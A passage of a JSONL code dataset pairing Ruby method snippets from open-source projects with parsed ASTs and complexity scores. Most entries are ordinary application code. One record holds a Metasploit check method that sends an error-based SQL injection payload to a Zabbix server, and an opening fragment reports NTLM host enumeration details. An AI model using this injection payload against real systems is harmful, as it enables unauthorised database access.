\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(domain:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nb_domain\"]}]}]},{\"type\":\"str\",\"children\":[\") \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(domain_fqdn:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dns_domain\"]}]}]},{\"type\":\"str\",\"children\":[\") \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(server_fqdn:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dns_server\"]}]}]},{\"type\":\"str\",\"children\":[\") \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(os_version:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os_version\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sname\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ntype\"]},{\"type\":\"str\",\"children\":[\"ntlm.enumeration.info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"SMBName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nb_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"SMBDomain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nb_domain\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"FQDNDomain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dns_domain\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"FQDNName\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dns_server\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"sym\",\"children\":[\"unique_data\"]}]}]}]}]}]}","id":"b73a186b-6c43-4027-8003-be6fc2408825"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_ansible_playbook.rb","start_line":90,"raw_source":"def job(action)\n service_resources.find_by(:name => action, :resource_type => 'OrchestrationStack').try(:resource)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_resources\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_type\"]},{\"type\":\"str\",\"children\":[\"OrchestrationStack\"]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"resource\"]}]}]}","id":"fe069164-b66e-43c6-9d83-f827f0b06855"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/reports/actions_controller.rb","start_line":33,"raw_source":"def account_action_params\n shared_params\n .merge(target_account: @report.target_account)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"account_action_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shared_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report\"]},\"target_account\"]}]}]}]}]}","id":"7c8ce6df-2103-4a9b-bd0f-da01626fd358"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/last_push_event_service.rb","start_line":62,"raw_source":"def find_event_in_database(id)\n PushEvent\n .without_existing_merge_requests\n .find_by(id: id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_event_in_database\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PushEvent\"]},\"without_existing_merge_requests\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"72b36bab-3e91-4684-9a2e-2f935a86e0c1"} {"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/base.rb","start_line":165,"raw_source":"def error_on_all_events(*callbacks, &block)\n @state_machine.add_global_callbacks(:error_on_all_events, *callbacks, &block)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_on_all_events\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"callbacks\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state_machine\"]},\"add_global_callbacks\",{\"type\":\"sym\",\"children\":[\"error_on_all_events\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"callbacks\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"2f741dd4-aed2-4009-962f-423b25030f35"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/dall_e.rb","start_line":91,"raw_source":"def description_args\n { prompt: prompts.first }\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"description_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompts\"]},\"first\"]}]}]}]}","id":"8da0ab11-38f5-4e97-add8-481da14ea559"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/callbacks_test.rb","start_line":171,"raw_source":"def test_further_callbacks_should_not_be_called_if_before_validation_throws_abort\n d = DogBeforeValidatorThrowingAbort.new\n output = d.valid?\n assert_equal [], d.history\n assert_equal false, output\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_further_callbacks_should_not_be_called_if_before_validation_throws_abort\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DogBeforeValidatorThrowingAbort\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"history\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"18065b4c-09a2-4cdb-9c34-fa7e751ca66f"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/log/test_console_adapter.rb","start_line":33,"raw_source":"def test_reflect_log_level(data)\n level, expected = data\n @fluent_log.level = level\n console_logger = Fluent::Log::ConsoleAdapter.wrap(@fluent_log)\n assert_equal(Console::Logger::LEVELS[expected],\n console_logger.level)\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reflect_log_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"level\"]},{\"type\":\"lvasgn\",\"children\":[\"expected\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fluent_log\"]},\"level=\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"lvasgn\",\"children\":[\"console_logger\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Log\"]},\"ConsoleAdapter\"]},\"wrap\",{\"type\":\"ivar\",\"children\":[\"@fluent_log\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Console\"]},\"Logger\"]},\"LEVELS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"console_logger\"]},\"level\"]}]}]}]}","id":"726a5bcd-f645-4bda-aafc-e02f50d703f7"} {"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/reindex_search.rb","start_line":55,"raw_source":"def rebuild_posts(limit: 20_000, indexer: SearchIndexer)\n post_ids = load_problem_post_ids(limit)\n\n puts \"rebuilding #{post_ids.size} posts\" if @verbose\n\n post_ids.each do |id|\n post = Post.find_by(id: id)\n indexer.index(post, force: true) if post\n end\n end","complexity_score":12.55,"ast_json":"{\"type\":\"def\",\"children\":[\"rebuild_posts\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[20000]}]},{\"type\":\"kwoptarg\",\"children\":[\"indexer\",{\"type\":\"const\",\"children\":[null,\"SearchIndexer\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_ids\",{\"type\":\"send\",\"children\":[null,\"load_problem_post_ids\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@verbose\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rebuilding \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_ids\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" posts\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexer\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]}]}]}]}]}","id":"a22af2e3-6ee7-4af7-9832-45a6e0a96a87"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/build/manual.rb","start_line":23,"raw_source":"def illustration_content\n if can?(user, :play_job, subject)\n manual_job_action_message\n else\n generic_permission_failure_message\n end\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"illustration_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"sym\",\"children\":[\"play_job\"]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]},{\"type\":\"send\",\"children\":[null,\"manual_job_action_message\"]},{\"type\":\"send\",\"children\":[null,\"generic_permission_failure_message\"]}]}]}","id":"566552d0-b947-4922-b426-5826e47efd2e"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/empty_method.rb","start_line":69,"raw_source":"def message(_range)\n compact_style? ? MSG_COMPACT : MSG_EXPANDED\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_range\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compact_style?\"]},{\"type\":\"const\",\"children\":[null,\"MSG_COMPACT\"]},{\"type\":\"const\",\"children\":[null,\"MSG_EXPANDED\"]}]}]}","id":"63d4e724-3799-4f6a-805f-56ddae2a6fdd"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/zabbix_toggleids_sqli.rb","start_line":48,"raw_source":"def check\n sid, cookies = authenticate\n\n left_marker = Rex::Text.rand_text_alpha(5)\n right_marker = Rex::Text.rand_text_alpha(5)\n flag = Rex::Text.rand_text_alpha(5)\n\n query = \"AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack(\"H*\")[0]}\"\n query << \",(SELECT MID((IFNULL(CAST(0x#{flag.unpack(\"H*\")[0]} AS CHAR),0x20)),1,54)\"\n query << \" FROM dual LIMIT 0,1),0x#{right_marker.unpack(\"H*\")[0]},FLOOR(RAND(0)*2))x FROM\"\n query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'\n\n res = make_injected_request(query, sid, cookies)\n\n unless res and res.body\n return Msf::Exploit::CheckCode::Safe\n end\n\n match = /#{left_marker}(.*)#{right_marker}/.match(res.body)\n\n unless match\n fail_with(Failure::Unknown, 'Server did not respond in an expected way')\n end\n\n if match[1] == flag\n return Msf::Exploit::CheckCode::Vulnerable\n end\n\n Msf::Exploit::CheckCode::Safe\n end","complexity_score":36.25,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sid\"]},{\"type\":\"lvasgn\",\"children\":[\"cookies\"]}]},{\"type\":\"send\",\"children\":[null,\"authenticate\"]}]},{\"type\":\"lvasgn\",\"children\":[\"left_marker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"right_marker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"flag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_marker\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\",(SELECT MID((IFNULL(CAST(0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\" AS CHAR),0x20)),1,54)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" FROM dual LIMIT 0,1),0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_marker\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\",FLOOR(RAND(0)*2))x FROM\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"<<\",{\"type\":\"str\",\"children\":[\" INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"make_injected_request\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_marker\"]}]},{\"type\":\"str\",\"children\":[\"(.*)\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_marker\"]}]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Server did not respond in an expected way\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"flag\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"cf40c402-51b9-47ba-87a9-0e058f44081c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/milestones_controller.rb","start_line":28,"raw_source":"def create\n @milestone = Milestones::CreateService.new(group, current_user, milestone_params).execute\n\n if @milestone.persisted?\n redirect_to milestone_path(@milestone)\n else\n render \"new\"\n end\n end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@milestone\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestones\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"group\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"milestone_params\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestone\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"milestone_path\",{\"type\":\"ivar\",\"children\":[\"@milestone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}]}","id":"c1b0e526-b21d-4424-8c9a-fdb546a7dff1"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/captain/custom_tool.rb","start_line":97,"raw_source":"def slug_exists?(candidate)\n self.class.exists?(account_id: account_id, slug: candidate)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"slug_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"candidate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[null,\"account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"lvar\",\"children\":[\"candidate\"]}]}]}]}]}","id":"cdbeefed-f139-449b-bc04-763f2fb6caad"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/concerns/message_filter_helpers.rb","start_line":20,"raw_source":"def conversation_transcriptable?\n incoming? || outgoing?\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"conversation_transcriptable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming?\"]},{\"type\":\"send\",\"children\":[null,\"outgoing?\"]}]}]}","id":"dff3d23e-63bd-4a7e-93a1-1f9c676a2373"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/import_export/importer.rb","start_line":207,"raw_source":"def category_levels\n @levels ||=\n begin\n levels = {}\n\n # Incomplete backups may lack definitions for some parent categories\n # which would cause an infinite loop below.\n parent_ids = @categories.map { |category| category[:parent_category_id] }.uniq\n category_ids = @categories.map { |category| category[:id] }.uniq\n (parent_ids - category_ids).each { |id| levels[id] = 0 }\n\n loop do\n changed = false\n\n @categories.each do |category|\n if !levels[category[:id]]\n if !category[:parent_category_id]\n levels[category[:id]] = 1\n elsif levels[category[:parent_category_id]]\n levels[category[:id]] = levels[category[:parent_category_id]] + 1\n end\n\n changed = true\n end\n end\n\n break if !changed\n end\n\n levels\n end\n end","complexity_score":59.93,"ast_json":"{\"type\":\"def\",\"children\":[\"category_levels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@levels\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"levels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"parent_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@categories\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]}]}]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@categories\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"uniq\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_ids\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"category_ids\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changed\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@categories\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"levels\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":